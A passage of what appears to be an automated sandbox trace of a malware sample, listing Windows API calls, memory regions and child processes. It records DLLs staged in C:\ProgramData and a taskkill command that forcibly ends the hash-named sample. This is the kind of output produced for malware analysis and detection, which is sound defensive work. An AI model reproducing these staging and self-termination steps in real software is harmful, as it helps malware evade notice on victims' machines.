Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0174.048] RtlReleaseRelativeName () returned 0x19ec1c [0174.048] RtlFreeAnsiString (AnsiString="\\") [0174.048] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0174.048] CloseHandle (hObject=0xa8) returned 1 [0174.053] FindNextFileW (in: hFindFile=0x5eb8d0, lpFindFileData=0x5ec48c | out: lpFindFileData=0x5ec48c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b1d0d0f, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b1d0d0f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b2bfc34, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x1303d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nss3.dll", cAlternateFileName="")) returned 1 [0174.053] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0174.054] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\nss3.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0174.054] RtlReleaseRelativeName () returned 0x19ec1c [0174.054] RtlFreeAnsiString (AnsiString="\\") [0174.054] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0174.054] CloseHandle (hObject=0xa8) returned 1 [0174.123] FindNextFileW (in: hFindFile=0x5eb8d0, lpFindFileData=0x5ec48c | out: lpFindFileData=0x5ec48c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b433a04, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b433a04, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b6348c2, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x235d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="softokn3.dll", cAlternateFileName="")) returned 1 [0174.123] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0174.123] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\softokn3.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0174.123] RtlReleaseRelativeName () returned 0x19ec1c [0174.124] RtlFreeAnsiString (AnsiString="\\") [0174.124] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0174.124] CloseHandle (hObject=0xa8) returned 1 [0174.126] FindNextFileW (in: hFindFile=0x5eb8d0, lpFindFileData=0x5ec48c | out: lpFindFileData=0x5ec48c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b6c8380, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b6c8380, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b6dd499, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x14748, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0174.126] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0174.126] NtOpenFile (in: FileHandle=0x19ec3c, DesiredAccess=0x10000, ObjectAttributes=0x19ec04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\vcruntime140.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19ec2c, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x19ec3c*=0xa8, IoStatusBlock=0x19ec2c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0174.126] RtlReleaseRelativeName () returned 0x19ec1c [0174.126] RtlFreeAnsiString (AnsiString="\\") [0174.126] NtQueryVolumeInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x19eb68, FsInformation=0x19eb70, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x19eb68, FsInformation=0x19eb70) returned 0x0 [0174.127] CloseHandle (hObject=0xa8) returned 1 [0174.128] FindNextFileW (in: hFindFile=0x5eb8d0, lpFindFileData=0x5ec48c | out: lpFindFileData=0x5ec48c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b6c8380, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b6c8380, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b6dd499, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x14748, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0174.128] GetLastError () returned 0x12 [0174.129] FindClose (in: hFindFile=0x5eb8d0 | out: hFindFile=0x5eb8d0) returned 1 [0174.129] GetProcessHeap () returned 0x5e0000 [0174.129] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5ec480) returned 1 [0174.129] GetProcessHeap () returned 0x5e0000 [0174.129] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eb8a0) returned 1 [0174.129] GetProcessHeap () returned 0x5e0000 [0174.129] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e7bb0) returned 1 [0174.129] GetProcessHeap () returned 0x5e0000 [0174.129] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eb870) returned 1 [0174.129] GetProcessHeap () returned 0x5e0000 [0174.129] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e8a28) returned 1 [0174.129] GetProcessHeap () returned 0x5e0000 [0174.129] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e8810) returned 1 [0174.129] GetProcessHeap () returned 0x5e0000 [0174.129] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eb610) returned 1 [0174.129] GetProcessHeap () returned 0x5e0000 [0174.129] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e1068) returned 1 [0174.129] GetProcessHeap () returned 0x5e0000 [0174.129] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eb5d0) returned 1 [0174.129] GetProcessHeap () returned 0x5e0000 [0174.129] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eb590) returned 1 [0174.129] GetProcessHeap () returned 0x5e0000 [0174.129] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eb550) returned 1 [0174.129] GetConsoleTitleW (in: lpConsoleTitle=0x19f8f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0174.138] _wcsicmp (_String1="exit", _String2="DIR") returned 1 [0174.138] _wcsicmp (_String1="exit", _String2="ERASE") returned 6 [0174.138] _wcsicmp (_String1="exit", _String2="DEL") returned 1 [0174.138] _wcsicmp (_String1="exit", _String2="TYPE") returned -15 [0174.138] _wcsicmp (_String1="exit", _String2="COPY") returned 2 [0174.139] _wcsicmp (_String1="exit", _String2="CD") returned 2 [0174.139] _wcsicmp (_String1="exit", _String2="CHDIR") returned 2 [0174.139] _wcsicmp (_String1="exit", _String2="RENAME") returned -13 [0174.139] _wcsicmp (_String1="exit", _String2="REN") returned -13 [0174.139] _wcsicmp (_String1="exit", _String2="ECHO") returned 21 [0174.139] _wcsicmp (_String1="exit", _String2="SET") returned -14 [0174.139] _wcsicmp (_String1="exit", _String2="PAUSE") returned -11 [0174.139] _wcsicmp (_String1="exit", _String2="DATE") returned 1 [0174.139] _wcsicmp (_String1="exit", _String2="TIME") returned -15 [0174.139] _wcsicmp (_String1="exit", _String2="PROMPT") returned -11 [0174.139] _wcsicmp (_String1="exit", _String2="MD") returned -8 [0174.139] _wcsicmp (_String1="exit", _String2="MKDIR") returned -8 [0174.139] _wcsicmp (_String1="exit", _String2="RD") returned -13 [0174.139] _wcsicmp (_String1="exit", _String2="RMDIR") returned -13 [0174.139] _wcsicmp (_String1="exit", _String2="PATH") returned -11 [0174.139] _wcsicmp (_String1="exit", _String2="GOTO") returned -2 [0174.139] _wcsicmp (_String1="exit", _String2="SHIFT") returned -14 [0174.139] _wcsicmp (_String1="exit", _String2="CLS") returned 2 [0174.139] _wcsicmp (_String1="exit", _String2="CALL") returned 2 [0174.139] _wcsicmp (_String1="exit", _String2="VERIFY") returned -17 [0174.139] _wcsicmp (_String1="exit", _String2="VER") returned -17 [0174.139] _wcsicmp (_String1="exit", _String2="VOL") returned -17 [0174.139] _wcsicmp (_String1="exit", _String2="EXIT") returned 0 [0174.140] GetProcessHeap () returned 0x5e0000 [0174.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xc) returned 0x5e8738 [0174.140] GetProcessHeap () returned 0x5e0000 [0174.140] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x12) returned 0x5e7b90 [0174.140] exit (_Code=0) Thread: id = 23 os_tid = 0x13c0 Process: id = "4" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x383f8000" os_pid = "0x370" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xbec" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 988 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 989 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 990 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 991 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 992 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 993 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 994 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 995 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 996 start_va = 0x7ff7a29a0000 end_va = 0x7ff7a29b0fff monitored = 0 entry_point = 0x7ff7a29a16b0 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 997 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 998 start_va = 0x7a0000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 999 start_va = 0x7ffb251b0000 end_va = 0x7ffb25397fff monitored = 0 entry_point = 0x7ffb251dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1000 start_va = 0x7ffb26230000 end_va = 0x7ffb262dcfff monitored = 0 entry_point = 0x7ffb262481a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1001 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1002 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1003 start_va = 0x90000 end_va = 0x14dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1004 start_va = 0x7ffb264f0000 end_va = 0x7ffb2658cfff monitored = 0 entry_point = 0x7ffb264f78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1005 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1006 start_va = 0x600000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1007 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1008 start_va = 0x190000 end_va = 0x196fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1009 start_va = 0x7ffb1cba0000 end_va = 0x7ffb1cbf8fff monitored = 0 entry_point = 0x7ffb1cbafbf0 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 1010 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1011 start_va = 0x7ffb27e00000 end_va = 0x7ffb2807cfff monitored = 0 entry_point = 0x7ffb27ed4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1012 start_va = 0x7ffb26590000 end_va = 0x7ffb266abfff monitored = 0 entry_point = 0x7ffb265d02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1013 start_va = 0x7ffb25640000 end_va = 0x7ffb256a9fff monitored = 0 entry_point = 0x7ffb25676d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1014 start_va = 0x7ffb26090000 end_va = 0x7ffb261e5fff monitored = 0 entry_point = 0x7ffb2609a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1015 start_va = 0x7ffb25f00000 end_va = 0x7ffb26085fff monitored = 0 entry_point = 0x7ffb25f4ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1016 start_va = 0x7ffb281e0000 end_va = 0x7ffb28322fff monitored = 0 entry_point = 0x7ffb28208210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1017 start_va = 0x7ffb27d40000 end_va = 0x7ffb27d9afff monitored = 0 entry_point = 0x7ffb27d538b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1018 start_va = 0x7ffb261f0000 end_va = 0x7ffb2622afff monitored = 0 entry_point = 0x7ffb261f12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1019 start_va = 0x7ffb288f0000 end_va = 0x7ffb289b0fff monitored = 0 entry_point = 0x7ffb28910da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1020 start_va = 0x7ffb23670000 end_va = 0x7ffb237f5fff monitored = 0 entry_point = 0x7ffb236bd700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1021 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1022 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1023 start_va = 0x8a0000 end_va = 0xa27fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 1024 start_va = 0xa30000 end_va = 0xbb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 1025 start_va = 0xbc0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Region: id = 1026 start_va = 0x600000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1027 start_va = 0x760000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 1028 start_va = 0x600000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1029 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 1030 start_va = 0x7ffb25120000 end_va = 0x7ffb2512efff monitored = 0 entry_point = 0x7ffb25123210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1031 start_va = 0x7ffb25130000 end_va = 0x7ffb2517afff monitored = 0 entry_point = 0x7ffb251335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1032 start_va = 0x7ffb25180000 end_va = 0x7ffb25193fff monitored = 0 entry_point = 0x7ffb251852e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1033 start_va = 0x7ffb256b0000 end_va = 0x7ffb25764fff monitored = 0 entry_point = 0x7ffb256f22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1034 start_va = 0x7ffb25800000 end_va = 0x7ffb25842fff monitored = 0 entry_point = 0x7ffb25814b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1035 start_va = 0x7ffb25850000 end_va = 0x7ffb25e93fff monitored = 0 entry_point = 0x7ffb25a164b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1036 start_va = 0x7ffb262e0000 end_va = 0x7ffb26331fff monitored = 0 entry_point = 0x7ffb262ef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1037 start_va = 0x7ffb267e0000 end_va = 0x7ffb27d3efff monitored = 0 entry_point = 0x7ffb269411f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1038 start_va = 0x7ffb28a50000 end_va = 0x7ffb28af6fff monitored = 0 entry_point = 0x7ffb28a658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1039 start_va = 0x7ffb23aa0000 end_va = 0x7ffb23b35fff monitored = 0 entry_point = 0x7ffb23ac5570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1040 start_va = 0x690000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 1041 start_va = 0x1fc0000 end_va = 0x22f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1042 start_va = 0x50000 end_va = 0x51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1043 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1044 start_va = 0x1d0000 end_va = 0x1f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 1045 start_va = 0x690000 end_va = 0x6e9fff monitored = 1 entry_point = 0x6a53f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1046 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1047 start_va = 0x2300000 end_va = 0x251bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 1048 start_va = 0x2520000 end_va = 0x2735fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 1049 start_va = 0x2740000 end_va = 0x284cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 1050 start_va = 0x2850000 end_va = 0x2a65fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 1051 start_va = 0x2a70000 end_va = 0x2b7cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 1052 start_va = 0x640000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 1053 start_va = 0x7ffb28080000 end_va = 0x7ffb281d9fff monitored = 0 entry_point = 0x7ffb280c38e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1055 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1056 start_va = 0x2b80000 end_va = 0x2c3bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b80000" filename = "" Region: id = 1057 start_va = 0x70000 end_va = 0x73fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1058 start_va = 0x7ffb229b0000 end_va = 0x7ffb229d1fff monitored = 0 entry_point = 0x7ffb229b1a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1059 start_va = 0x7ffb23860000 end_va = 0x7ffb23872fff monitored = 0 entry_point = 0x7ffb23862760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1060 start_va = 0x7ffb24f30000 end_va = 0x7ffb24f85fff monitored = 0 entry_point = 0x7ffb24f40bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1061 start_va = 0x80000 end_va = 0x86fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 1062 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1063 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1064 start_va = 0x1f0000 end_va = 0x1f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1065 start_va = 0x690000 end_va = 0x690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 1066 start_va = 0x6a0000 end_va = 0x6a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 1067 start_va = 0x7ffb1c1d0000 end_va = 0x7ffb1c443fff monitored = 0 entry_point = 0x7ffb1c240400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 1068 start_va = 0x6b0000 end_va = 0x6b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1069 start_va = 0x6c0000 end_va = 0x6c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Thread: id = 19 os_tid = 0x12ec Thread: id = 20 os_tid = 0xbe4 Thread: id = 21 os_tid = 0xe30 Thread: id = 22 os_tid = 0xe38 Process: id = "5" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x3615c000" os_pid = "0x1368" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xbec" cmd_line = "taskkill /im 7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe /f " cur_dir = "C:\\ProgramData\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] 